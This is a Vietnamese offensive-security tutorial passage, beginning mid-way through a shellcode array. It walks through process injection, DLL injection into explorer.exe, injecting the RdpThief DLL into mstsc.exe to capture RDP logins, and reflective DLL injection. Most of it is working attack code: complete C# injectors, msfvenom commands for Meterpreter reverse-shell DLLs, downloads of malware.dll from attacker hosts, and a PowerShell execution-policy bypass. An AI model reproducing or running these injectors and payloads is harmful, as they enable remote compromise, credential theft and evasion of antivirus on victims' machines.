0x4d,0x31,0xc0,0x53,0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,
0x53,0x49,0xc7,0xc2,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,
0xc7,0xc1,0x88,0x13,0x00,0x00,0x49,0xba,0x44,0xf0,0x35,0xe0,0x00,0x00,0x00,
0x00,0xff,0xd5,0x48,0xff,0xcf,0x74,0x02,0xeb,0xaa,0xe8,0x55,0x00,0x00,0x00,
0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x00,
0x10,0x00,0x00,0x49,0xba,0x58,0xa4,0x53,0xe5,0x00,0x00,0x00,0x00,0xff,0xd5,
0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,
0xc0,0x00,0x20,0x00,0x00,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x00,
0x00,0x00,0x00,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,
0x07,0x48,0x01,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,
0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5 };
IntPtr outSize;
WriteProcessMemory(hProcess,addr,buf , buf.Length, out outSize);
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
}
}
}
- Chúng ta tiến hành biên dịch code & thực thi (64bit)
Ở đây ta thấy PID của Malware đã trùng với PID của
explorer
2. DLL Injection
Process Injection cho phép chúng ta đưa shellcode vào một process và thực thi nó. Điều này là khá hiệu quả, tuy nhiên với những codebases lớn hơn hoặc tồn tại DLL từ trước. Chúng ta có thể đưa toàn bộ DLL vào một prcocess thay vì chỉ shellcode đơn thuần
Khi một process cần sử dụng một API từ DLL , nó sẽ gọi tới LoadLibrary
API để load nó vảo virtual memory space. Trong trường hợp của chúng ta, chúng ta muốn process sẽ load DLL độc hại thông qua các API Win32.
Tuy nhiên , LoadLibrary
không thể được load trên một remote proces, vì vậy chúng ta phải thực hiện số một thủ thuật bắt buộc để buộc một process như explorer.exe
load DLL của chúng ta.
Kiểm tra hàm LoadLibrary
trên Microsoft ta có
HMODULE LoadLibraryA(
[in] LPCSTR lpLibFileName
);
Ta thấy hàm chỉ yêu cầu duy nhất một tham số là "lpLibFileName" : Tên của DLL để load Nhiều API Win32 có hai biến thể với hậu tố "A" hoặc "W". Trong trường hợp này nó sẽ là LoadLibraryA. Nhưng chức năng không thay đổi
Cách tiếp cận của chúng ta sẽ cố gắng đánh lừa process thực thi LoadLibrary
với đối số chính xác. Quay lại hàm CreateRemoteThread
HANDLE CreateRemoteThread(
[in] HANDLE hProcess,
[in] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in] LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out] LPDWORD lpThreadId
);
Chúng ta quan tâm tới 2 tham số
-
lpStartAddress : Địa chỉ bắt đầu của hàm chạy trong thread mới
-
lpParameter: Địa chỉ bộ nhớ của buffer chứa tham số cho hàm đó (Shellcode là IntPtr.Zero do shell thì không có tham số)
Để cung cấp đối số chính xác (DLL độc hại), chúng ta phải cấp phát một "vùng" bên trong process , sau đó copy tên và đường dẫn của DLL vào đó . Địa chỉ của "vùng này" được cung cấp làm đối số lpParameter
Tuy nhiên, có một số hạn chế mà chúng ta sẽ phải xem xét.
Thứ nhất : DLL phải viết bằng C/C++ và phải Unmanaged. DLL được viết trên C# được managed sẽ không hoạt động. Đơn giản chúng ta không thể load DLL managed vào một Process Unmanaged
Tất cả các code mà được viết trong C# đều được trực tiếp thực thi bằng CLR(Common Language Runtime) mà chúng ta không thể can thiệp. CLR giúp quản lý bộ nhớ, xử lý các vấn đề bảo mật và xử lý các biến "rác".
Khắc phục điều này, chúng ta sẽ sử dụng msfvenom để tạo mã
Thứ 2 Thông thường, các DLL chứa các API sẽ được gọi sau khi DLL được load. Để gọi các API này, các ứng dụng phải phân giải tên của của chúng thành memory addresses với hàm GetProcAddress
. Tuy nhiên hàm này lại không thể phân giải API với dạng remote process (dạng ta tiêm vào rồi thực thi). Cho nên ta phải tạo những file DLL độc hại non-standard
À chút nữa quên, LoadLibrary chỉ chấp nhận các DLL tồn tại trên Disk. Do đó nó dễ bị phát hiện bởi AV và Blue Team
Có 2 khái niệm chúng ta dễ nhầm lẫn đó là DLL Injection vào DLL Hijacking. Đây là 2 khái niệm hoàn toàn khác nhau. Nếu như DLL injection can thiệp vào process, ép nó phải chạy DLL chúng ta mong muốn thì DLL Hijacking là quá trình tìm kiếm những file DLL có quyền bảo mật yếu - sau tiến hành thay thế nó với DLL độc hại
2.1 DLL Injection với C#
Nguyên liệu :
- Payload DLL
sudo msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.130 LPORT=4444 -f dll -o /var/www/html/malware.dll
Code cuối cùng chúng ta có
using System;
using System.Diagnostics;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;
namespace Inject
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
public static extern IntPtr GetModuleHandle(string lpModuleName);
static void Main(string[] args)
{
String dir = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
String dllName = dir + "\\malware.dll";
WebClient wc = new WebClient();
wc.DownloadFile("http://192.168.1.138:8083/malware.dll", dllName);
Process[] expProc = Process.GetProcessesByName("explorer");
int pid = expProc[0].Id;
IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
IntPtr outSize;
Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);
IntPtr loadLib = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);
}
}
}
Biên dịch và thực thi
cd /var/www/html
python3 -m http.server 8082
msfconsole ****
Kiểm tra DLL đã tiêm trên máy nạn nhân
- Mở
Process Explorer
> Chọnexplorer.exe
. Tiếp đến ở tabView
>Lower Pane View
> selectDLLs
Ta sẽ thấy DLL độc hại của chúng ta đã được load cùng explorer.exe
2.2. RDP "Keyloggers"
Thông thường, để đánh cắp thông tin đăng nhập RDP hay bất kỳ thông tin nào khác trên máy nạn nhân. Ta có thể nghĩ ngay tới Keyloggers. Tuy nhiên Keyloggers có một điểm yếu chí mạng là nó ghi lại toàn bộ thao tác gõ của người dùng. Khiến khi nhận được nội dung file, ta không thể phân biệt được thông tin nào là thông tin cần dùng để đăng nhập RDP. Module này sẽ hướng dẫn cho chúng ta chuyên biệt hóa nội dung này.
Khi người dùng sử dụng Remote Desktop với mstsc.exe
, họ nhập thông tin xác thực dạng clear-text vào ứng dụng. Bằng cách chèn các DLL độc hại vào đây ("mstsc.exe
") ta có thể ghi lại thao tác gõ của người sử dụng . DLL độc hại mang tên RdpThief
RdpThief được viết dưới dạng DLL unmanaged và được đưa vào mstsc.exe
trước khi ngươi dùng nhập thông tin đăng nhập
Quy trở lại mã DLL injection phía trên
using System;
using System.Diagnostics;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;
namespace Inject
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
public static extern IntPtr GetModuleHandle(string lpModuleName);
static void Main(string[] args)
{
String dir = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
String dllName = dir + "\\malware.dll";
WebClient wc = new WebClient();
wc.DownloadFile("http://192.168.1.138:8083/malware.dll", dllName);
Process[] expProc = Process.GetProcessesByName("explorer");
int pid = expProc[0].Id;
IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
IntPtr outSize;
Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);
IntPtr loadLib = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);
}
}
}
Ta nhớ lại chức năng của đoạn code này là Injection malware.dll được tạo ra từ msfvenom cho pocess
explorer.exe
. Vậy mã sửa đổi ta sẽ thay thế với chức năng injection "RdpThief DLL" vào "mstsc" là xong
Ta tiến hành injection với code sau
static void Main(string[] args)
{
String dllName = "C:\\Tools\\RdpThief.dll";
Process[] mstscProc = Process.GetProcessesByName("mstsc");
int pid = mstscProc[0].Id;
IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
IntPtr outSize;
Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);
IntPtr loadLib = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);
}
Khác với mã trên, yêu cầu nạn nhân phải download DLL về rồi mới LoadlibaryA. Lần này ta tiến hành trỏ thẳng vào DLL độc hại.
Tuy nhiên ta vẫn còn chút lấn cấn ở đây.
Người dùng phải chạy remote desktop trước, sau đó chúng ta phải chạy malware để injection vào process (vì nếu người dùng không chạy trước, thì làm gì có PID để mà injection 😗)
Vì không biết khi nào người dùng khởi chạy mstsc.exe
để khởi chạy mã độc hại của chúng ta trước khi họ nhập thông tin vào. Khó hơn đánh đề !!!
Để cải thiện điều này, chúng ta có thể sử dụng vòng lặp while
tự động phát hiện khi có một tiến trình mstsc.exe
được khởi tạo và sau đó injection trước khi người dùng nhập thông tin đăng nhập của mình vào. Chúng ta cũng sử dụng Sleep để tạm dừng 1s giữa mỗi lần lặp
Code hoàn chỉnh sẽ là
using System.Threading;
using System;
using System.Diagnostics;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;
namespace Inject {
class Program {
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
public static extern IntPtr GetModuleHandle(string lpModuleName);
static void Main(string[] args) {
String dllName = "C:\\Tools\\RdpThief.dll";
while (true) {
Process[] mstscProc = Process.GetProcessesByName("mstsc");
if (mstscProc.Length > 0) {
for (int i = 0; i < mstscProc.Length; i++) {
int pid = mstscProc[i].Id;
IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
IntPtr outSize;
Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);
IntPtr loadLib = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);
}
}
Thread.Sleep(1000);
}
}
}
}
Sau khi chúng ta thực thi "mã độc", nó sẽ phát hiện bất cứ session nào đang chạy của mstsc
và đưa DLL độc hại vào ứng dụng trước khi người dùng nhập thông tin đăng nhập.
3. Reflective DLL Injection
- Payload DLL
sudo msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.130 LPORT=4444 -f dll -o /var/www/html/malware.dll
python -m http.server 8082
- Các bước tiến hành
Mở Powershell với tùy chọn cho phép thực thi script
PowerShell -Exec Bypass
Download DLL Payload
$bytes = (New-Object System.Net.WebClient).DownloadData('http://192.168.49.138:8082/malware.dll')
Tìm process để injection (trong trường hợp này là explorer)
$procid = (Get-Process -Name explorer).Id
Download Invoke-ReflectivePEInjection
và thực thi
Import-Module C:\Tools\Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid
Output sẽ báo lỗi đỏ nhưng không sao cả , payload vẫn hoạt động bình thường
Kiểm tra DLL đã tiêm trên máy nạn nhân
Không phát hiện DLL malware.dll
trên Process Explorer
All rights reserved